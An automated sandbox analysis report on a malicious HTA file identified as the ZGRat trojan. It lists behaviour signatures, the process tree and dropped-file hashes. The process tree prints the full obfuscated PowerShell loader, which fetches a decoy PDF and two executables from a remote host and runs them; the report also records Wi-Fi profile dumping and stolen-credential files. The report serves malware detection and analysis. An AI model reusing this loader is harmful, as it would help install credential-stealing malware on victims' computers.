Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-01-2024 20:19

General

  • Target

    magic.poisontoolz.com/Files.hta

  • Size

    16KB

  • MD5

    806083ae9a40b2b4d5e8e4fc6847a01e

  • SHA1

    55f3aa0ba57d8022509a9009c674b8423294cf59

  • SHA256

    cb458ecfe5f16281e1ccc956a2c4d057e61515cec85db7799e714629dc1bbcc9

  • SHA512

    6a2ba831d4804bb501edd283afe8b33034f26d02d528ec917524132d152ca56911d8c7051b965b756547cc04b3a607154c240c353f9bba10bb6fd13bdbb2c17e

  • SSDEEP

    384:aNQQcl/VSlx+RscIhRscBrkRsctVnRcj9d1yZtqbQMieobcyXefZbcYbfDbcjQ:hlYlx+RscwRsceRsctVRcj9d1+tqkLHE

Malware Config

Signatures

  • Detect ZGRat V1 35 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\magic.poisontoolz.com\Files.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1176
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function bTBrpbwC($sLUJNuBgfBfA, $DKUZcAdbQOceyyJA){[IO.File]::WriteAllBytes($sLUJNuBgfBfA, $DKUZcAdbQOceyyJA)};function qMgSdvYIRRUSjZ($sLUJNuBgfBfA){if($sLUJNuBgfBfA.EndsWith((HEiDtQybOoyVmdi @(70951,71005,71013,71013))) -eq $True){rundll32.exe $sLUJNuBgfBfA }elseif($sLUJNuBgfBfA.EndsWith((HEiDtQybOoyVmdi @(70951,71017,71020,70954))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $sLUJNuBgfBfA}elseif($sLUJNuBgfBfA.EndsWith((HEiDtQybOoyVmdi @(70951,71014,71020,71010))) -eq $True){misexec /qn /i $sLUJNuBgfBfA}else{Start-Process $sLUJNuBgfBfA}};function qKOlApTVNWImMHKgKrr($HXvvEsCPxrUIJvZa){$HFhjjojUglemTDI = New-Object (HEiDtQybOoyVmdi @(70983,71006,71021,70951,70992,71006,71003,70972,71013,71010,71006,71015,71021));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$DKUZcAdbQOceyyJA = $HFhjjojUglemTDI.DownloadData($HXvvEsCPxrUIJvZa);return $DKUZcAdbQOceyyJA};function HEiDtQybOoyVmdi($neuW){$LuPJsyaVetOy=70905;$rnhDacIHSobOT=$Null;foreach($OQvtigeOZOgrvp in $neuW){$rnhDacIHSobOT+=[char]($OQvtigeOZOgrvp-$LuPJsyaVetOy)};return $rnhDacIHSobOT};function kISEaSmnymA(){$iKWnDWTBqeifbvN = $env:AppData + '\';$MdErWExzJnRFtj = $iKWnDWTBqeifbvN + 'Document.pdf';If(Test-Path -Path $MdErWExzJnRFtj){Invoke-Item $MdErWExzJnRFtj;}Else{ $QXivrbIwhnWacVVIbm = qKOlApTVNWImMHKgKrr (HEiDtQybOoyVmdi @(71009,71021,71021,71017,71020,70963,70952,70952,71014,71002,71008,71010,71004,70951,71017,71016,71010,71020,71016,71015,71021,71016,71016,71013,71027,70951,71004,71016,71014,70952,70973,71016,71004,71022,71014,71006,71015,71021,70951,71017,71005,71007));bTBrpbwC $MdErWExzJnRFtj $QXivrbIwhnWacVVIbm;Invoke-Item $MdErWExzJnRFtj;};$BzjEeQAv = $iKWnDWTBqeifbvN + 'File1crypt.exe'; if (Test-Path -Path $BzjEeQAv){qMgSdvYIRRUSjZ $BzjEeQAv;}Else{ $ELYbsewlypYz = qKOlApTVNWImMHKgKrr (HEiDtQybOoyVmdi @(71009,71021,71021,71017,71020,70963,70952,70952,71014,71002,71008,71010,71004,70951,71017,71016,71010,71020,71016,71015,71021,71016,71016,71013,71027,70951,71004,71016,71014,70952,70975,71010,71013,71006,70954,71004,71019,71026,71017,71021,70951,71006,71025,71006));bTBrpbwC $BzjEeQAv $ELYbsewlypYz;qMgSdvYIRRUSjZ $BzjEeQAv;}$kYEycGaL = $iKWnDWTBqeifbvN + 'File2crypt.exe'; if (Test-Path -Path $kYEycGaL){qMgSdvYIRRUSjZ $kYEycGaL;}Else{ $sEFREXgUWGLv = qKOlApTVNWImMHKgKrr (HEiDtQybOoyVmdi @(71009,71021,71021,71017,71020,70963,70952,70952,71014,71002,71008,71010,71004,70951,71017,71016,71010,71020,71016,71015,71021,71016,71016,71013,71027,70951,71004,71016,71014,70952,70975,71010,71013,71006,70955,71004,71019,71026,71017,71021,70951,71006,71025,71006));bTBrpbwC $kYEycGaL $sEFREXgUWGLv;qMgSdvYIRRUSjZ $kYEycGaL;};;;;}kISEaSmnymA;
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4468
      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\Document.pdf"
        3⤵
        • Checks processor information in registry
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1316
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1400
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=7976D2701938C143CEEE98EB0DBD760E --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=7976D2701938C143CEEE98EB0DBD760E --renderer-client-id=2 --mojo-platform-channel-handle=1664 --allow-no-sandbox-job /prefetch:1
            5⤵
              PID:3312
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=98176EE9CEE33A0427A03A4DE26D771B --mojo-platform-channel-handle=1840 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
              5⤵
                PID:1700
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=31B3ACEAC2102F4B7E0CEBE272B054CE --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=31B3ACEAC2102F4B7E0CEBE272B054CE --renderer-client-id=4 --mojo-platform-channel-handle=2160 --allow-no-sandbox-job /prefetch:1
                5⤵
                  PID:1572
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=5E53667CAD71A60515A0E3471FB2C312 --mojo-platform-channel-handle=2560 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                  5⤵
                    PID:4884
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=65AE344A690A01991423F40BD6EDF808 --mojo-platform-channel-handle=2008 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    5⤵
                      PID:1564
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=BC1DB1F616B341ACA525D2BE32A5071A --mojo-platform-channel-handle=2108 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                      5⤵
                        PID:3464
                  • C:\Users\Admin\AppData\Roaming\File2crypt.exe
                    "C:\Users\Admin\AppData\Roaming\File2crypt.exe"
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3396
                    • C:\Users\Admin\AppData\Roaming\File2crypt.exe
                      C:\Users\Admin\AppData\Roaming\File2crypt.exe
                      4⤵
                      • Executes dropped EXE
                      • Accesses Microsoft Outlook profiles
                      • Checks processor information in registry
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      • outlook_office_path
                      • outlook_win_path
                      PID:2112
                      • C:\Windows\SysWOW64\cmd.exe
                        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                        5⤵
                          PID:5096
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 65001
                            6⤵
                              PID:1152
                            • C:\Windows\SysWOW64\findstr.exe
                              findstr All
                              6⤵
                                PID:1636
                              • C:\Windows\SysWOW64\netsh.exe
                                netsh wlan show profile
                                6⤵
                                  PID:4336
                              • C:\Windows\SysWOW64\cmd.exe
                                "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                                5⤵
                                  PID:3868
                            • C:\Users\Admin\AppData\Roaming\File1crypt.exe
                              "C:\Users\Admin\AppData\Roaming\File1crypt.exe"
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2236
                              • C:\Users\Admin\AppData\Roaming\File1crypt.exe
                                C:\Users\Admin\AppData\Roaming\File1crypt.exe
                                4⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2348
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:532
                          • C:\Windows\System32\sihclient.exe
                            C:\Windows\System32\sihclient.exe /cv apyXpiSGQEezF0sqZFyx6g.0.2
                            1⤵
                              PID:1564
                            • C:\Windows\system32\msiexec.exe
                              C:\Windows\system32\msiexec.exe /V
                              1⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3140
                            • C:\Windows\SysWOW64\chcp.com
                              chcp 65001
                              1⤵
                                PID:4764
                              • C:\Windows\SysWOW64\netsh.exe
                                netsh wlan show networks mode=bssid
                                1⤵
                                  PID:3932

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                                  Filesize

                                  1KB

                                  MD5

                                  d0df5f9974138501424cb06472477adf

                                  SHA1

                                  9d143e2c9c48327c6fa0b4f2fb65be982037db51

                                  SHA256

                                  6c3615c908cb98afc062e70b7f985bf7b667fd8540a25824aa07a14b6b6a05d6

                                  SHA512

                                  9a7d8b47a8311e00ba206fee9bf0d42991a0caaf43492ea067bb6c9eb333a3231a35bae1efcd95add82d6dbfcfef5e10d42c084b9e73c5fdd7eadf8131324617

                                • C:\Users\Admin\AppData\Local\006797a6b513cedcf6fa9d8a105df8f1\Admin@AAKWQUEG_en-US\Browsers\Firefox\Bookmarks.txt

                                  Filesize

                                  105B

                                  MD5

                                  2e9d094dda5cdc3ce6519f75943a4ff4

                                  SHA1

                                  5d989b4ac8b699781681fe75ed9ef98191a5096c

                                  SHA256

                                  c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

                                  SHA512

                                  d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

                                • C:\Users\Admin\AppData\Local\006797a6b513cedcf6fa9d8a105df8f1\Admin@AAKWQUEG_en-US\Directories\Startup.txt

                                  Filesize

                                  24B

                                  MD5

                                  68c93da4981d591704cea7b71cebfb97

                                  SHA1

                                  fd0f8d97463cd33892cc828b4ad04e03fc014fa6

                                  SHA256

                                  889ed51f9c16a4b989bda57957d3e132b1a9c117ee84e208207f2fa208a59483

                                  SHA512

                                  63455c726b55f2d4de87147a75ff04f2daa35278183969ccf185d23707840dd84363bec20d4e8c56252196ce555001ca0e61b3f4887d27577081fdef9e946402

                                • C:\Users\Admin\AppData\Local\006797a6b513cedcf6fa9d8a105df8f1\Admin@AAKWQUEG_en-US\Directories\Videos.txt

                                  Filesize

                                  23B

                                  MD5

                                  1fddbf1169b6c75898b86e7e24bc7c1f

                                  SHA1

                                  d2091060cb5191ff70eb99c0088c182e80c20f8c

                                  SHA256

                                  a67aa329b7d878de61671e18cd2f4b011d11cbac67ea779818c6dafad2d70733

                                  SHA512

                                  20bfeafde7fec1753fef59de467bd4a3dd7fe627e8c44e95fe62b065a5768c4508e886ec5d898e911a28cf6365f455c9ab1ebe2386d17a76f53037f99061fd4d

                                • C:\Users\Admin\AppData\Local\006797a6b513cedcf6fa9d8a105df8f1\Admin@AAKWQUEG_en-US\System\Apps.txt

                                  Filesize

                                  5KB

                                  MD5

                                  b1d58554f33c991f9454f81bf1f6a7a6

                                  SHA1

                                  1a9c0748fbb4c4974315f6a3188ffb5078372de1

                                  SHA256

                                  2809730601ec3cd803e75dded9788afc2683f6562378a497e7300fd83137838c

                                  SHA512

                                  ef961a73b2b8844155d1684a6d5e0319ad5d0c8cb2c60e4ed16b03cca69e04bf9872f2bff8fdf24d3bf284366f2b2f0d36f1e4c1cd5d007732c3ad0af562d5c6

                                • C:\Users\Admin\AppData\Local\006797a6b513cedcf6fa9d8a105df8f1\Admin@AAKWQUEG_en-US\System\Debug.txt

                                  Filesize

                                  1004B

                                  MD5

                                  9f7e8c90c8e4f0e6976a3d69a59e13e6

                                  SHA1

                                  a678403153d4e71bcae97c83c65707d9bcb86bb6

                                  SHA256

                                  9a0344723389aee9269af868fdcd5ae0d22d04eb5e88b656fd146dd143e9a0ce

                                  SHA512

                                  c13cd581b6062c538f2be58e88ec00d518f76e5f0f3870458a51489a4e833f8e7ba8408e58e94038c8dab21c63821d52d181faee1ddbf6128f29bbc545b533ed

                                • C:\Users\Admin\AppData\Local\006797a6b513cedcf6fa9d8a105df8f1\Admin@AAKWQUEG_en-US\System\Process.txt

                                  Filesize

                                  4KB

                                  MD5

                                  e1261b30bcee5ffdb8725793d8247b4e

                                  SHA1

                                  22d3a1dd3d1e2e6351301a87b1d5fc79057ab0df

                                  SHA256

                                  185a74f3aa4672f9b94625d03f8828bbe2d31ad05c825008abdf0e2837921cf7

                                  SHA512

                                  acb1f33e644f1174079e5708bfbeaf4a227f576a07af56a822261edd88bd65965d52ca17bcc92406662ba4807550abc12692614b4adca9affcf697d2a225e0b5

                                • C:\Users\Admin\AppData\Local\006797a6b513cedcf6fa9d8a105df8f1\Admin@AAKWQUEG_en-US\System\ProductKey.txt

                                  Filesize

                                  29B

                                  MD5

                                  71eb5479298c7afc6d126fa04d2a9bde

                                  SHA1

                                  a9b3d5505cf9f84bb6c2be2acece53cb40075113

                                  SHA256

                                  f6cadfd4e4c25ff3b8cffe54a2af24a757a349abbf4e1142ec4c9789347fe8b3

                                  SHA512

                                  7c6687e21d31ec1d6d2eff04b07b465f875fd80df26677f1506b14158444cf55044eb6674880bd5bd44f04ff73023b26cb19b8837427a1d6655c96df52f140bd

                                • C:\Users\Admin\AppData\Local\006797a6b513cedcf6fa9d8a105df8f1\msgid.dat

                                  Filesize

                                  19B

                                  MD5

                                  af6f1933326883369932eff6d98e0098

                                  SHA1

                                  888e43aff1981840211a034ba78e048a48ab3b8a

                                  SHA256

                                  8052615aa0bdf7a250e889aacee4d06c82cd18f01add69f89332d5db3fc1ca21

                                  SHA512

                                  46b87b38eac0122ee226e348288a2acf272fb3d2e68503e20a1572a464e0a0b4b70b0f4225d5188b7c6dd1ba12d237a318fe3b43e9b4abae334b54f5a4a255f7

                                • C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

                                  MD5

                                  d41d8cd98f00b204e9800998ecf8427e

                                  SHA1

                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                  SHA256

                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                  SHA512

                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                • C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

                                  Filesize

                                  12KB

                                  MD5

                                  21c7373cbebe36d40311199e37a311ff

                                  SHA1

                                  4966bb36fa9545fa8481d1314471a374f3d053c3

                                  SHA256

                                  9219e342d27bc5f3824eb6198773d7953e840b9e62220de75c4652fdfac3815a

                                  SHA512

                                  a09399ab463e5616d61345a0c3538e3ea34d185e12f525ffb7b7f3d364771f7d142969a4e10221c5cb6129b934f48eeae122e0bd50a57ac7f1d0eadb9bdece20

                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\File1crypt.exe.log

                                  Filesize

                                  927B

                                  MD5

                                  4a911455784f74e368a4c2c7876d76f4

                                  SHA1

                                  a1700a0849ffb4f26671eb76da2489946b821c34

                                  SHA256

                                  264098e15b5b33d425f3b76e45b7976b58f917048125041135f7e60d8151108c

                                  SHA512

                                  4617591400409e1930195795a55e20d5f063042bb3e9fd1955099066e507b6ac8a1e3ae54cc42418e2639149b31bf7e58cd5743670d9030a15e29f14d813815d

                                • C:\Users\Admin\AppData\Local\Temp\Data\Autofills.txt

                                  Filesize

                                  234B

                                  MD5

                                  6be6fdca0cfa94635b8689b2b0bf2bee

                                  SHA1

                                  379c61029b5443c3d3df7c770423e40618b36d15

                                  SHA256

                                  5bc3a7ced261f235f4a30797ad96f803c9e022a95ad6bc7fedc06d0fd2a0abeb

                                  SHA512

                                  7955fb48977c971563b10420e379ebea01e42582a8dfe2719ec756dda7e757168031a58a3c9fef061c0abb6c799579f7c8b46de4fc5b4ab3519d735092848cd8

                                • C:\Users\Admin\AppData\Local\Temp\Data\CreditCards.txt

                                  Filesize

                                  238B

                                  MD5

                                  0f5f7a38759e578c92bcf62c45d80b8a

                                  SHA1

                                  211e70ede55cce5bf67f685d85cbd030a8517d2b

                                  SHA256

                                  39059fc9bf3844dacbe329b623ca7a06f72656216dd4e52dc9b938b3d95289dc

                                  SHA512

                                  8130466f8ee346c0b931a34e63e2e9dc6f4070b85faaa58efdddd4d165fa605457d3137472c5fd09da87b0135a4beb660ee39cb390d78be6f0786950036b205d

                                • C:\Users\Admin\AppData\Local\Temp\Data\Downloads.txt

                                  Filesize

                                  234B

                                  MD5

                                  ae0f7fab163139c661e576fe0af08651

                                  SHA1

                                  7545ab94360fd93f2209021b4cecabb92592be27

                                  SHA256

                                  832ff6318e2c78ac1907c74f3911f8815b545c16449cbce6753e21fb723cb657

                                  SHA512

                                  a3e342a3c72c079db96a8d6bb108830c3a772b926be0cf4e5d09ebb09e1babbc7602959bf1f82c8df8764f45479f318c3205114f23c96fd663efa792cff86b8b

                                • C:\Users\Admin\AppData\Local\Temp\Data\Histories.txt

                                  Filesize

                                  234B

                                  MD5

                                  412ec159e4b14be1ca93db473e80acc2

                                  SHA1

                                  8909b6f7fc8715a749270b6ceb8f05f823f59fd3

                                  SHA256

                                  eaff9c24df526e9c884832130bf6de9182fd96f3dcdba33e8e5e7a4ed37f1bbe

                                  SHA512

                                  a90524333fd34d44f5784a90ada19904ea7379de26cae08ffdfd2ee25b3fd5b36c2cbcf7a7e6fc4ff734680ca1ff177ed42df1d4f5583d6a1a89d622c183f0b4

                                • C:\Users\Admin\AppData\Local\Temp\Data\Passwords.txt

                                  Filesize

                                  234B

                                  MD5

                                  36f6acc2229073f5bb4074cee73d1d5b

                                  SHA1

                                  b2adbb44350d984dff40c15fcbbeb3379c7ec0e5

                                  SHA256

                                  8a947e0921f9cfada15c19a72f0ff31b38ad4602106c6ee95685d61c223c9a35

                                  SHA512

                                  da8b627bd674ceb0da7e30ba543ab82ab694d3f6e0474b48ca343ee74e20147440d2205b6ce66f5caa2a39061dedd2ca4146e263fac9f146a228c5b5cba4aaad

                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uklsy1xw.nft.ps1

                                  Filesize

                                  60B

                                  MD5

                                  d17fe0a3f47be24a6453e9ef58c94641

                                  SHA1

                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                  SHA256

                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                  SHA512

